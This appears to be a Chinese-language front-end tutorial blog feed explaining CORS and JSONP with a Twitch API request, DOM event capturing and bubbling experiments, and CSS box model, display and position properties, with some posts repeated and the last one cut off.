接下來實際來看一下開放比較寬鬆的 server 是如何制定 Access-Control-Allow-Origin 的。這邊以 twitch 當範例,詳細使用 api 的說明請參考這裡,請自己申請一個 client ID。
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>test AJAX</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
</head>
<body>
</body>
<script>
const CLIEND_ID = 'xxx'
const ACCEPT = 'application/vnd.twitchtv.v5+json'
const request = new XMLHttpRequest()
request.onerr = function () {
console.log('error')
}
request.onload = function() {
console.log(request.responseText)
}
request.open("GET", 'https://api.twitch.tv/kraken/games/top?limit=5', true)
request.setRequestHeader('Client-ID', CLIEND_ID)
request.setRequestHeader('Accept', ACCEPT)
request.send()
</script>
</html>
而 response 的 header 是這樣子的:
access-control-allow-origin: *
content-encoding: gzip
content-length: 625
content-type: application/json; charset=utf-8
date: Sat, 05 Jun 2021 07:49:56 GMT
strict-transport-security: max-age=300
timing-allow-origin: https://www.twitch.tv
vary: Accept-Encoding
x-cache: MISS, HIT
x-cache-hits: 0, 2
x-served-by: cache-sea4420-SEA, cache-nrt18340-NRT
x-timer: S1622879396.289021,VS0,VS0,VE0
注意到了嗎? access-control-allow-origin: *,星號代表萬用符號,所以 twitch api 是支援跨網域傳輸資料的,另外,除了 access-control-allow-origin 這個 header 以外,server 端也可以透過 Access-Control-Allow-Headers 還有 Access-Control-Allow-Methods 來限制 request 的 header 以及方法。
其實還有其他在瀏覽器上發送 request 的方法,不僅不會跳轉畫面也不用遵守同源限制。
其實在寫 HTML 的時候,我們常用的 script 標籤常常透過 src 屬性用 GET 的方式跨網域拿到資料。
這種方式有個衍伸的方法可以拿到資料,這個方式就叫做 JSONP(JSON with Padding)。
server 端可以透過這個方法來傳資料,只要把內容包在一個函式裡面,而 client 端則定義函式的動作即可,像是 twitch 就有提供這樣的方式,使用者要再額外提供函式的名稱來讓 twitch server 把資料放在函式的參數裡。
比如說我們在 HTML 裡寫:
<script>
function getData(res) {
console.log(res);
}
</script>
<script src="https://some.com/api?funcname=getData"></script>
這邊是假設有一個支援 JSONP 模式的 server,使用者在 querystring 掛上函式的名稱,把 call api 放在後面是因為要先定義好函式否則會報錯,
以這個例子來說,假設資料是 123, server 就會回傳:
getData('123')
最後我們就可以在 devtool 的 console 上看到 '123' 被印出來,但是要注意 JSON 只支援最基本的 get 方法。
同源政策是瀏覽器提供的限制,如果我們沒有透過瀏覽器,而是像之前一樣直接使用 nodeJS 使用作業系統提供的 API 發送的話,server 回傳的資料就不會被瀏覽器阻擋,值得注意的是在瀏覽器上透過 Ajax 發送 request 時,request 一樣會送出,一樣會收到 response,只不過如果非同源的話,瀏覽器便不會把資料轉交給 JS 去處理。
]]>(Document Object Model, DOM)是一個樹狀的結構,像是 HTML 或是 XML 都是採用這樣的樹狀結構,這邊用一段 HTML 代碼打個比方。
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>DEMO</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<script src="./index.js"></script>
<style>
.outer {
background: red;
width: 200px;
height: 200px;
margin-bottom: 10px;
}
.inner {
background: blue;
width: 50%;
}
.inside {
background: black;
border-radius: 50%;
}
a {
color: white;
}
.outer2 {
background: green;
width: 200px;
height: 200px;
}
</style>
</head>
<body>
<div class= "outer">
<div class="inner">
<a href="google.com">點我拜託</a>
</div>
</div>
<div class= "outer2">
</div>
</body>
</html>
如果畫成樹狀圖的話,大概是長這樣。不過請記得這個結構,因為後面還會用它來當範例。
假設我們現在在所有元素身上都裝上 click 事件的監聽器,寫法是這樣子。
// index.js
window.addEventListener('load',
function() {
document.querySelector('.outer').addEventListener('click',
function() {
console.log(".outer")
}
)
document.querySelector('.inner').addEventListener('click',
function() {
console.log(".inner")
}
)
document.querySelector('a').addEventListener('click',
function() {
console.log("a")
}
)
document.querySelector('.outer2').addEventListener('click',
function() {
console.log(".outer2")
}
)
}
)
現在我們點擊了超連結,我們預測 console 裡會印出 a,因為超連結的監聽器接收到了一個 click 事件,不過 console 印出:
a
.inner
.outer
window
所以我們猜測一個 event 可能是像下圖這樣傳遞的。
不過其實這只是事件傳遞的一部分過程而已,其實在我們點選超連結的時候,事件的傳遞流程是這樣子的。
其中橘色的部分從 window 一路往下尋找到 a 元素,這一段叫做 capturing phase,可以想像成是一個出發去海底捕獲目標元素過程,當找到目標元素後,這個階段叫作 targeting phase,最後可以想像要回到海上,過程就像在海底吐一個泡泡,泡泡上升回到海面的過程因為四周水壓降低而膨脹,所以這個階段叫 bubbling phase。知道了事件傳遞的流程以後,有人可能會問,既然 addEventListener 只會監聽從 targeting 到 bubbling 這段過程,有甚麼辦法可以監聽到 capturing 的事件呢?
答案就是 addEventListener 函式的第三個參數,默認是 false ,會在 targeting 到 bubbling 階段添加監聽器;當改為 true 的時候則會在 capturing 到 targeting 階段添加監聽器,所以我們將剛剛的 javascript 程式碼再修改一下。
// index.js
window.addEventListener('load',
function() {
window.addEventListener('click',
function() {
console.log("bubbling: window")
}
)
document.querySelector('.outer').addEventListener('click',
function() {
console.log("bubbling: .outer")
}
)
document.querySelector('.inner').addEventListener('click',
function() {
console.log("bubbling: .inner")
}
)
document.querySelector('a').addEventListener('click',
function(e) {
e.preventDefault()
console.log("bubbling: a")
}
)
document.querySelector('.outer2').addEventListener('click',
function() {
console.log("bubbling: .outer2")
}
)
window.addEventListener('click',
function() {
console.log("capturing: window")
}, true
)
document.querySelector('.outer').addEventListener('click',
function() {
console.log("capturing: .outer")
}, true
)
document.querySelector('.inner').addEventListener('click',
function() {
console.log("capturing: .inner")
}, true
)
document.querySelector('a').addEventListener('click',
function(e) {
e.preventDefault()
console.log("capturing: a")
}, true
)
document.querySelector('.outer2').addEventListener('click',
function() {
console.log("capturing: .outer2")
}, true
)
}
)
當我們再次點擊超連結,這時候 console 印出:
capturing: window
capturing: .outer
capturing: .inner
capturing: a
bubbling: a
bubbling: .inner
bubbling: .outer
bubbling: window
這次的流程大概是這樣的,成功監聽到了整個 event 的傳送流。
想像一下如果在 .inner 底下有一百個 a 元素,而我們想要監聽這些 a 元素的點擊事件,想到要加一百次 eventListener 在每一個 a 身上就心很累,怎麼辦呢?如果這時候想到剛剛介紹的事件傳遞流就好辦啦!因為所有 a 的事件都會在 bubbling 的過程中傳遞到 .inner,所以我們只需要在 .inner 放上一個點擊事件的監聽器,就可以統計底下的 a 總共被點擊了幾次。
這邊示範 .inner 底下有三個 a 元素的程式碼。HTML 程式碼像這樣。
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>DEMO</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<script src="./index.js"></script>
<style>
.outer {
background: red;
width: 200px;
height: 200px;
margin-bottom: 10px;
}
.inner {
background: blue;
width: 50%;
}
.inside {
background: black;
border-radius: 50%;
}
a {
color: white;
}
.outer2 {
background: green;
width: 200px;
height: 200px;
}
</style>
</head>
<body>
<div class= "outer">
<div class="inner">
<a href="google.com">點我</a>
<a href="google.com">點我</a>
<a href="google.com">點我</a>
</div>
</div>
<div class= "outer2">
</div>
</body>
</html>
我們在 javascript 的程式碼為 .inner 放上點擊事件的監聽器,並且統計點擊目標是 a 元素的事件總共有幾次。
// index.js
window.addEventListener('load',
function() {
let num = 0
document.querySelector(".inner").addEventListener('click',
function(e) {
if (e.target.tagName === "A") {
e.preventDefault()
num++
console.log(num)
}
}
)
}
)
最後要來介紹 event.preventDefault 以及 event.stopPropagation,如果眼尖的人可能會發現,前面的範例裡只要在 a 元素放上點擊事件的監聽器時,都會在裡面寫上 event.preventDefault,作用是可以停止瀏覽器的預設動作,我們可以防止點擊 a 元素時網頁自動跳轉。
如果好奇 event.preventDefault 會不會中斷 event 事件的傳遞,答案顯然是不會,因為上面的範例雖然取消了超連結的跳轉,但 console 還是成功印出了完整的事件流。
再來要介紹 event.stopPropagation ,stopPropagation 顧名思義可以中斷 event 的傳遞。
這邊有幾個問題,首先,event.stopPropagation 會造成 preventDefault 的效果嗎? 我們在 .outer 的 capturing 階段中斷事件流,觀察一下網頁是否還是會跳轉。
// index.js
window.addEventListener('load',
function() {
window.addEventListener('click',
function() {
console.log("bubbling: window")
}
)
document.querySelector('.outer').addEventListener('click',
function() {
console.log("bubbling: .outer")
}
)
document.querySelector('.inner').addEventListener('click',
function() {
console.log("bubbling: .inner")
}
)
document.querySelector('a').addEventListener('click',
function() {
console.log("bubbling: a")
}
)
document.querySelector('.outer2').addEventListener('click',
function() {
console.log("bubbling: .outer2")
}
)
window.addEventListener('click',
function() {
console.log("capturing: window")
}, true
)
document.querySelector('.outer').addEventListener('click',
function(e) {
e.stopPropagation()
console.log("capturing: .outer")
}, true
)
document.querySelector('.inner').addEventListener('click',
function() {
console.log("capturing: .inner")
}, true
)
document.querySelector('a').addEventListener('click',
function() {
console.log("capturing: a")
}, true
)
document.querySelector('.outer2').addEventListener('click',
function() {
console.log("capturing: .outer2")
}, true
)
}
)
結果 console 印出了:
capturing: window
capturing: .outer
然後跳轉。 從這個實驗基本上可以理解瀏覽器的預設動作是在事件流之後進行的,當我們點擊超連結,事件流完整跑完一次,然後瀏覽器執行預設動作跳轉網頁,不過在事件傳遞的過程中,如果有監聽器引發了 event.preventDefault ,那事件流結束以後,瀏覽器便知道不要執行預設的動作。
瀏覽器是怎麼知道的呢? 可以從 event 物件找到端倪
我們可以發現有一個 defaultPrevented 的布林值讓瀏覽器知道是不是要在事件流結束之後執行預設的動作。
當然,如果事件提早結束了,但是 event.preventDefault 被掛在後面的監聽器上,那麼瀏覽器便不知道要停止預設行為。
在同一個物件的同一個捕獲 phase 掛上兩個監聽器是可行的噢,不過有趣的事情來了,如果在其中一個監聽器放了 stopPropagation 那麼另一個監聽器還可以監聽到事件嗎? 立刻來實驗看看吧!
我們在超連結的冒泡階段加上 stopPropagation。
// index.js
window.addEventListener('load',
function() {
window.addEventListener('click',
function() {
console.log("bubbling: window")
}
)
document.querySelector('.outer').addEventListener('click',
function() {
console.log("bubbling: .outer")
}
)
document.querySelector('.inner').addEventListener('click',
function() {
console.log("bubbling: .inner")
}
)
document.querySelector('a').addEventListener('click',
function(e) {
e.preventDefault()
e.stopPropagation()
console.log("bubbling: a")
}
)
document.querySelector('a').addEventListener('click',
function(e) {
console.log("second eventLisnter -> bubbling: a")
}
)
document.querySelector('.outer2').addEventListener('click',
function() {
console.log("bubbling: .outer2")
}
)
window.addEventListener('click',
function() {
console.log("capturing: window")
}, true
)
document.querySelector('.outer').addEventListener('click',
function() {
console.log("capturing: .outer")
}, true
)
document.querySelector('.inner').addEventListener('click',
function() {
console.log("capturing: .inner")
}, true
)
document.querySelector('a').addEventListener('click',
function(e) {
console.log("capturing: a")
}, true
)
document.querySelector('.outer2').addEventListener('click',
function() {
console.log("capturing: .outer2")
}, true
)
}
)
最後 console 印出了:
capturing: window
capturing: .outer
capturing: .inner
capturing: a
bubbling: a
second eventLisnter -> bubbling: a
原來兩個都在 a 元素上而且都是冒泡階段的 eventListener 是同等的,所以 stopPropagation 並不會阻止另一個 eventListener 監聽事件。
但是倔強的你還是想要嚴格的執行 stopPropagation 的話要怎麼辦呢? 你希望可以立即停止事件傳遞,就算是同等級也一樣。
你的好朋友是 stopImmediatePropagation
,他顧名思義可以讓事件傳遞立刻停止。
最後是一個有趣的小實驗,從前面我們知道事件是一直被傳遞的,理論上來說被傳遞的 event 應該是同一個,我是指他的記憶體位置應該不會變。
為了實測這件事,我們要做最後一個實驗。
在這個實驗裡我們只幫冒泡階段裝上監聽器,然後在一開始的 a 元素時我們替 event 加上一個 extra 的 key,接著設一個兩秒的計時器會印出 event.extra。
當事件傳遞到 .inner 元素時,event.extra 的值會被修改,我們只要觀察計時器最後印出來的 event.extra 有沒有被修改過就知道答案了!
如果每個監聽器被傳入的 event 只是拷貝的話,那麼最後應該會印出修改前的值,否則會印出修改後的值。
// index.js
window.addEventListener('load',
function() {
window.addEventListener('click',
function() {
console.log("bubbling: window")
}
)
document.querySelector('.outer').addEventListener('click',
function() {
console.log("bubbling: .outer")
}
)
document.querySelector('.inner').addEventListener('click',
function(e) {
console.log("bubbling: .inner")
e.extra = 'HiHi~ I am altered one' // 將 extra 屬性的值修改
}
)
document.querySelector('a').addEventListener('click',
function(e) {
e.preventDefault()
console.log("bubbling: a")
e.extra = 'HiHi~ I am original' // 幫 event 新增一個 extra
function test(e) {
console.log(`setTimeout ${e.extra}`)
}
setTimeout(() => {
test(e) // 最後會印出原始的還是修改過後的 extra 呢?
}, 2000)
}
)
}
)
最後 console 印出了:
bubbling: a
bubbling: .inner
bubbling: .outer
bubbling: window
setTimeout HiHi~ I am altered one
可見 event 是真的被一條龍傳遞的。
]]>(Document Object Model, DOM)是一個樹狀的結構,像是 HTML 或是 XML 都是採用這樣的樹狀結構,這邊用一段 HTML 代碼打個比方。
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>DEMO</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<script src="./index.js"></script>
<style>
.outer {
background: red;
width: 200px;
height: 200px;
margin-bottom: 10px;
}
.inner {
background: blue;
width: 50%;
}
.inside {
background: black;
border-radius: 50%;
}
a {
color: white;
}
.outer2 {
background: green;
width: 200px;
height: 200px;
}
</style>
</head>
<body>
<div class= "outer">
<div class="inner">
<a href="google.com">點我拜託</a>
</div>
</div>
<div class= "outer2">
</div>
</body>
</html>
如果畫成樹狀圖的話,大概是長這樣。不過請記得這個結構,因為後面還會用它來當範例。
假設我們現在在所有元素身上都裝上 click 事件的監聽器,寫法是這樣子。
// index.js
window.addEventListener('load',
function() {
document.querySelector('.outer').addEventListener('click',
function() {
console.log(".outer")
}
)
document.querySelector('.inner').addEventListener('click',
function() {
console.log(".inner")
}
)
document.querySelector('a').addEventListener('click',
function() {
console.log("a")
}
)
document.querySelector('.outer2').addEventListener('click',
function() {
console.log(".outer2")
}
)
}
)
現在我們點擊了超連結,我們預測 console 裡會印出 a,因為超連結的監聽器接收到了一個 click 事件,不過 console 印出:
a
.inner
.outer
window
所以我們猜測一個 event 可能是像下圖這樣傳遞的。
不過其實這只是事件傳遞的一部分過程而已,其實在我們點選超連結的時候,事件的傳遞流程是這樣子的。
其中橘色的部分從 window 一路往下尋找到 a 元素,這一段叫做 capturing phase,可以想像成是一個出發去海底捕獲目標元素過程,當找到目標元素後,這個階段叫作 targeting phase,最後可以想像要回到海上,過程就像在海底吐一個泡泡,泡泡上升回到海面的過程因為四周水壓降低而膨脹,所以這個階段叫 bubbling phase。知道了事件傳遞的流程以後,有人可能會問,既然 addEventListener 只會監聽從 targeting 到 bubbling 這段過程,有甚麼辦法可以監聽到 capturing 的事件呢?
答案就是 addEventListener 函式的第三個參數,默認是 false ,會在 targeting 到 bubbling 階段添加監聽器;當改為 true 的時候則會在 capturing 到 targeting 階段添加監聽器,所以我們將剛剛的 javascript 程式碼再修改一下。
// index.js
window.addEventListener('load',
function() {
window.addEventListener('click',
function() {
console.log("bubbling: window")
}
)
document.querySelector('.outer').addEventListener('click',
function() {
console.log("bubbling: .outer")
}
)
document.querySelector('.inner').addEventListener('click',
function() {
console.log("bubbling: .inner")
}
)
document.querySelector('a').addEventListener('click',
function(e) {
e.preventDefault()
console.log("bubbling: a")
}
)
document.querySelector('.outer2').addEventListener('click',
function() {
console.log("bubbling: .outer2")
}
)
window.addEventListener('click',
function() {
console.log("capturing: window")
}, true
)
document.querySelector('.outer').addEventListener('click',
function() {
console.log("capturing: .outer")
}, true
)
document.querySelector('.inner').addEventListener('click',
function() {
console.log("capturing: .inner")
}, true
)
document.querySelector('a').addEventListener('click',
function(e) {
e.preventDefault()
console.log("capturing: a")
}, true
)
document.querySelector('.outer2').addEventListener('click',
function() {
console.log("capturing: .outer2")
}, true
)
}
)
當我們再次點擊超連結,這時候 console 印出:
capturing: window
capturing: .outer
capturing: .inner
capturing: a
bubbling: a
bubbling: .inner
bubbling: .outer
bubbling: window
這次的流程大概是這樣的,成功監聽到了整個 event 的傳送流。
想像一下如果在 .inner 底下有一百個 a 元素,而我們想要監聽這些 a 元素的點擊事件,想到要加一百次 eventListener 在每一個 a 身上就心很累,怎麼辦呢?如果這時候想到剛剛介紹的事件傳遞流就好辦啦!因為所有 a 的事件都會在 bubbling 的過程中傳遞到 .inner,所以我們只需要在 .inner 放上一個點擊事件的監聽器,就可以統計底下的 a 總共被點擊了幾次。
這邊示範 .inner 底下有三個 a 元素的程式碼。HTML 程式碼像這樣。
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>DEMO</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<script src="./index.js"></script>
<style>
.outer {
background: red;
width: 200px;
height: 200px;
margin-bottom: 10px;
}
.inner {
background: blue;
width: 50%;
}
.inside {
background: black;
border-radius: 50%;
}
a {
color: white;
}
.outer2 {
background: green;
width: 200px;
height: 200px;
}
</style>
</head>
<body>
<div class= "outer">
<div class="inner">
<a href="google.com">點我</a>
<a href="google.com">點我</a>
<a href="google.com">點我</a>
</div>
</div>
<div class= "outer2">
</div>
</body>
</html>
我們在 javascript 的程式碼為 .inner 放上點擊事件的監聽器,並且統計點擊目標是 a 元素的事件總共有幾次。
// index.js
window.addEventListener('load',
function() {
let num = 0
document.querySelector(".inner").addEventListener('click',
function(e) {
if (e.target.tagName === "A") {
e.preventDefault()
num++
console.log(num)
}
}
)
}
)
最後要來介紹 event.preventDefault 以及 event.stopPropagation,如果眼尖的人可能會發現,前面的範例裡只要在 a 元素放上點擊事件的監聽器時,都會在裡面寫上 event.preventDefault,作用是可以停止瀏覽器的預設動作,我們可以防止點擊 a 元素時網頁自動跳轉。
如果好奇 event.preventDefault 會不會中斷 event 事件的傳遞,答案顯然是不會,因為上面的範例雖然取消了超連結的跳轉,但 console 還是成功印出了完整的事件流。
再來要介紹 event.stopPropagation ,stopPropagation 顧名思義可以中斷 event 的傳遞。
這邊有幾個問題,首先,event.stopPropagation 會造成 preventDefault 的效果嗎? 我們在 .outer 的 capturing 階段中斷事件流,觀察一下網頁是否還是會跳轉。
// index.js
window.addEventListener('load',
function() {
window.addEventListener('click',
function() {
console.log("bubbling: window")
}
)
document.querySelector('.outer').addEventListener('click',
function() {
console.log("bubbling: .outer")
}
)
document.querySelector('.inner').addEventListener('click',
function() {
console.log("bubbling: .inner")
}
)
document.querySelector('a').addEventListener('click',
function() {
console.log("bubbling: a")
}
)
document.querySelector('.outer2').addEventListener('click',
function() {
console.log("bubbling: .outer2")
}
)
window.addEventListener('click',
function() {
console.log("capturing: window")
}, true
)
document.querySelector('.outer').addEventListener('click',
function(e) {
e.stopPropagation()
console.log("capturing: .outer")
}, true
)
document.querySelector('.inner').addEventListener('click',
function() {
console.log("capturing: .inner")
}, true
)
document.querySelector('a').addEventListener('click',
function() {
console.log("capturing: a")
}, true
)
document.querySelector('.outer2').addEventListener('click',
function() {
console.log("capturing: .outer2")
}, true
)
}
)
結果 console 印出了:
capturing: window
capturing: .outer
然後跳轉。 從這個實驗基本上可以理解瀏覽器的預設動作是在事件流之後進行的,當我們點擊超連結,事件流完整跑完一次,然後瀏覽器執行預設動作跳轉網頁,不過在事件傳遞的過程中,如果有監聽器引發了 event.preventDefault ,那事件流結束以後,瀏覽器便知道不要執行預設的動作。
瀏覽器是怎麼知道的呢? 可以從 event 物件找到端倪
我們可以發現有一個 defaultPrevented 的布林值讓瀏覽器知道是不是要在事件流結束之後執行預設的動作。
當然,如果事件提早結束了,但是 event.preventDefault 被掛在後面的監聽器上,那麼瀏覽器便不知道要停止預設行為。
在同一個物件的同一個捕獲 phase 掛上兩個監聽器是可行的噢,不過有趣的事情來了,如果在其中一個監聽器放了 stopPropagation 那麼另一個監聽器還可以監聽到事件嗎? 立刻來實驗看看吧!
我們在超連結的冒泡階段加上 stopPropagation。
// index.js
window.addEventListener('load',
function() {
window.addEventListener('click',
function() {
console.log("bubbling: window")
}
)
document.querySelector('.outer').addEventListener('click',
function() {
console.log("bubbling: .outer")
}
)
document.querySelector('.inner').addEventListener('click',
function() {
console.log("bubbling: .inner")
}
)
document.querySelector('a').addEventListener('click',
function(e) {
e.preventDefault()
e.stopPropagation()
console.log("bubbling: a")
}
)
document.querySelector('a').addEventListener('click',
function(e) {
console.log("second eventLisnter -> bubbling: a")
}
)
document.querySelector('.outer2').addEventListener('click',
function() {
console.log("bubbling: .outer2")
}
)
window.addEventListener('click',
function() {
console.log("capturing: window")
}, true
)
document.querySelector('.outer').addEventListener('click',
function() {
console.log("capturing: .outer")
}, true
)
document.querySelector('.inner').addEventListener('click',
function() {
console.log("capturing: .inner")
}, true
)
document.querySelector('a').addEventListener('click',
function(e) {
console.log("capturing: a")
}, true
)
document.querySelector('.outer2').addEventListener('click',
function() {
console.log("capturing: .outer2")
}, true
)
}
)
最後 console 印出了:
capturing: window
capturing: .outer
capturing: .inner
capturing: a
bubbling: a
second eventLisnter -> bubbling: a
原來兩個都在 a 元素上而且都是冒泡階段的 eventListener 是同等的,所以 stopPropagation 並不會阻止另一個 eventListener 監聽事件。
但是倔強的你還是想要嚴格的執行 stopPropagation 的話要怎麼辦呢? 你希望可以立即停止事件傳遞,就算是同等級也一樣。
你的好朋友是 stopImmediatePropagation
,他顧名思義可以讓事件傳遞立刻停止。
最後是一個有趣的小實驗,從前面我們知道事件是一直被傳遞的,理論上來說被傳遞的 event 應該是同一個,我是指他的記憶體位置應該不會變。
為了實測這件事,我們要做最後一個實驗。
在這個實驗裡我們只幫冒泡階段裝上監聽器,然後在一開始的 a 元素時我們替 event 加上一個 extra 的 key,接著設一個兩秒的計時器會印出 event.extra。
當事件傳遞到 .inner 元素時,event.extra 的值會被修改,我們只要觀察計時器最後印出來的 event.extra 有沒有被修改過就知道答案了!
如果每個監聽器被傳入的 event 只是拷貝的話,那麼最後應該會印出修改前的值,否則會印出修改後的值。
// index.js
window.addEventListener('load',
function() {
window.addEventListener('click',
function() {
console.log("bubbling: window")
}
)
document.querySelector('.outer').addEventListener('click',
function() {
console.log("bubbling: .outer")
}
)
document.querySelector('.inner').addEventListener('click',
function(e) {
console.log("bubbling: .inner")
e.extra = 'HiHi~ I am altered one' // 將 extra 屬性的值修改
}
)
document.querySelector('a').addEventListener('click',
function(e) {
e.preventDefault()
console.log("bubbling: a")
e.extra = 'HiHi~ I am original' // 幫 event 新增一個 extra
function test(e) {
console.log(`setTimeout ${e.extra}`)
}
setTimeout(() => {
test(e) // 最後會印出原始的還是修改過後的 extra 呢?
}, 2000)
}
)
}
)
最後 console 印出了:
bubbling: a
bubbling: .inner
bubbling: .outer
bubbling: window
setTimeout HiHi~ I am altered one
可見 event 是真的被一條龍傳遞的。
]]>先畫一下盒模型的圖
從這張圖可以看出來盒模型由內到外有四層,那通常在 css 的屬性可以設定寬高,那麼寬高是指哪裡呢?事實上,有一個屬性叫做 box-sizing,在這邊我們來看看把 box-sizing 調整成不同的屬性會發生甚麼事。
.box {
box-sizing: content-box;
height: 100px;
width: 100px;
padding: 5px;
border: 5px;
}
那結果會像下面這張圖:
.box {
box-sizing: border-box;
height: 100px;
width: 100px;
padding: 5px;
border: 5px;
}
那結果會像下面這張圖:
outline 在 input 元素被 focus 瀏覽器預設會加上 outline。比如說 google drive 的登入框在滑鼠點擊時就會出現藍色的 outline。
outline 除了在用途跟 border 不一樣以外,性質也不同,outline 是跳脫排板流的,也就是說 outline 並不占空間,不會因為 outline 的出現而去推擠到其他元素。但是 border 則會推擠到周邊的元素。
display 屬性有三種,接下來會一一介紹。
block 的代表有 h1 ~ h6、div。首先要知道的是 block 的元素一個會佔一整行,準確地說,雖然一個 block 元素的寬度通常沒有一整行這麼長,但下一個元素會從下一行開始填充。
<!Doctype HTML>
<head>
<meta charset='utf-8' />
<title>block</title>
<link rel="stylesheet" href="./block.css" />
</head>
<body class="debug">
<div class="first block">
first line
</div>
<div class="second block">
second line
</div>
<div class="third block">
third line
</div>
</body>
/* css */
html {
font-size: 36px;
}
html, body {
width: 100%;
height: 100%;
}
html, body, h1, h2, h3, h4, p {
padding: 0;
margin: 0;
}
.block {
border: 5px solid gold;
height: 150px;
width: 300px;
padding: 20px;
margin: 50px;
}
.first {
background: red;
}
.second {
background: green;
}
.third {
background: blue;
}
呈現出來的樣子:
稍微整理一下:
block 的代表有 span、a。首先要知道的是 inline 的元素不會改變自己的上下位置。
<!Doctype HTML>
<head>
<meta charset='utf-8' />
<title>inline</title>
<link rel="stylesheet" href="./inline.css" />
</head>
<body class="debug">
<div class="first inline">
first line
</div>
<div class="second inline">
second line
</div>
<div class="third inline">
third line
</div>
<div class="div">
other content
</div>
</body>
/* css */
html {
font-size: 36px;
}
html, body {
width: 100%;
height: 100%;
}
html, body, h1, h2, h3, h4, p {
padding: 0;
margin: 0;
}
.inline {
display: inline;
border: 5px solid gold;
height: 150px;
width: 300px;
margin: 50px;
padding: 50px;
}
.first {
background: red;
}
.second {
background: green;
}
.third {
background: blue;
}
呈現出來的樣子:
稍微整理一下:
inline-block 融合了 block 及 inline 兩者的特長,一起來看看。
<!Doctype HTML>
<head>
<meta charset='utf-8' />
<title>inline-block</title>
<link rel="stylesheet" href="./inline-block.css" />
</head>
<body class="debug">
<div class="first inline-block">
first line
</div>
<div class="second inline-block">
second line
</div>
<div class="third inline-block">
third line
</div>
<div class="div">
other content
</div>
</body>
/* css */
html {
font-size: 36px;
}
html, body {
width: 100%;
height: 100%;
}
html, body, h1, h2, h3, h4, p {
padding: 0;
margin: 0;
}
.inline-block {
display: inline-block;
border: 5px solid gold;
height: 150px;
width: 300px;
padding: 20px;
margin: 50px;
}
.first {
background: red;
}
.second {
background: green;
}
.third {
background: blue;
}
呈現出來的樣子:
稍微整理一下:
static 是預設的值,瀏覽器會按照正常的排版流填充元素。
/* css */
.static {
position: static;
}
relative 元素是相對於自己在排版流的位置定位的。
/* css */
.relative1 {
position: relative;
}
.relative2 {
position: relative;
top: -20px;
left: 20px;
width: 500px;
}
fixed 是相對於 view port 定位的,所以感覺像是「固定」在畫面上。
/* css */
.fixed {
position: fixed;
bottom: 50%;
right: 50%;
width: 200px;
}
absolute 會往父元素尋找非 static 的元素進行定位。
/* css */
.relative {
position: relative;
width: 600px;
height: 400px;
}
.absolute {
position: absolute;
top: 120px;
right: 0;
width: 300px;
height: 200px;
}
Sticky 算是蠻潮的一個屬性,他有 relative 的功能也有 absolute 的功能。
Sticky 元素會會黏在最近的 scrolling ancestor 上。
什麼是 scrolling ancestor 呢?可以想像創造出可滾動的父層元素,像是有設定 overflow 的 elements。
知道什麼是 scrolling ancestor 之後,sticky element 的行為就是:
下面來個範例:
<!Doctype HTML>
<head>
<meta charset='utf-8' />
<title>sticky</title>
<link rel="stylesheet" href="./modal.css" />
</head>
<div class="container">
<div class="box red">red</div>
<div class="box green">green</div>
<div class="box blue">blue</div>
</div>
/* css */
.container {
overflow: scroll;
margin: 50px;
width: 200px;
height: 300px;
border: 1px solid black
}
.box {
padding: 10px;
margin: 0 auto;
text-align: center;
width: 80%;
height: 100px;
}
.red {
background-color: red;
}
.blue {
background-color: blue;
height: 300px;
}
.green {
background-color: green;
position: sticky;
top: 50px;
left: 0;
}
在一開始綠色的元素乖乖的待在排版流裏頭,但是當它的頂部距離滾動父元素 50px 的時候就「黏」住了!
]]>先畫一下盒模型的圖
從這張圖可以看出來盒模型由內到外有四層,那通常在 css 的屬性可以設定寬高,那麼寬高是指哪裡呢?事實上,有一個屬性叫做 box-sizing,在這邊我們來看看把 box-sizing 調整成不同的屬性會發生甚麼事。
.box {
box-sizing: content-box;
height: 100px;
width: 100px;
padding: 5px;
border: 5px;
}
那結果會像下面這張圖:
.box {
box-sizing: border-box;
height: 100px;
width: 100px;
padding: 5px;
border: 5px;
}
那結果會像下面這張圖:
outline 在 input 元素被 focus 瀏覽器預設會加上 outline。比如說 google drive 的登入框在滑鼠點擊時就會出現藍色的 outline。
outline 除了在用途跟 border 不一樣以外,性質也不同,outline 是跳脫排板流的,也就是說 outline 並不占空間,不會因為 outline 的出現而去推擠到其他元素。但是 border 則會推擠到周邊的元素。
display 屬性有三種,接下來會一一介紹。
block 的代表有 h1 ~ h6、div。首先要知道的是 block 的元素一個會佔一整行,準確地說,雖然一個 block 元素的寬度通常沒有一整行這麼長,但下一個元素會從下一行開始填充。
<!Doctype HTML>
<head>
<meta charset='utf-8' />
<title>block</title>
<link rel="stylesheet" href="./block.css" />
</head>
<body class="debug">
<div class="first block">
first line
</div>
<div class="second block">
second line
</div>
<div class="third block">
third line
</div>
</body>
/* css */
html {
font-size: 36px;
}
html, body {
width: 100%;
height: 100%;
}
html, body, h1, h2, h3, h4, p {
padding: 0;
margin: 0;
}
.block {
border: 5px solid gold;
height: 150px;
width: 300px;
padding: 20px;
margin: 50px;
}
.first {
background: red;
}
.second {
background: green;
}
.third {
background: blue;
}
呈現出來的樣子:
稍微整理一下:
block 的代表有 span、a。首先要知道的是 inline 的元素不會改變自己的上下位置。
<!Doctype HTML>
<head>
<meta charset='utf-8' />
<title>inline</title>
<link rel="stylesheet" href="./inline.css" />
</head>
<body class="debug">
<div class="first inline">
first line
</div>
<div class="second inline">
second line
</div>
<div class="third inline">
third line
</div>
<div class="div">
other content
</div>
</body>
/* css */
html {
font-size: 36px;
}
html, body {
width: 100%;
height: 100%;
}
html, body, h1, h2, h3, h4, p {
padding: 0;
margin: 0;
}
.inline {
display: inline;
border: 5px solid gold;
height: 150px;
width: 300px;
margin: 50px;
padding: 50px;
}
.first {
background: red;
}
.second {
background: green;
}
.third {
background: blue;
}
呈現出來的樣子:
稍微整理一下:
inline-block 融合了 block 及 inline 兩者的特長,一起來看看。
<!Doctype HTML>
<head>
<meta charset='utf-8' />
<title>inline-block</title>
<link rel="stylesheet" href="./inline-block.css" />
</head>
<body class="debug">
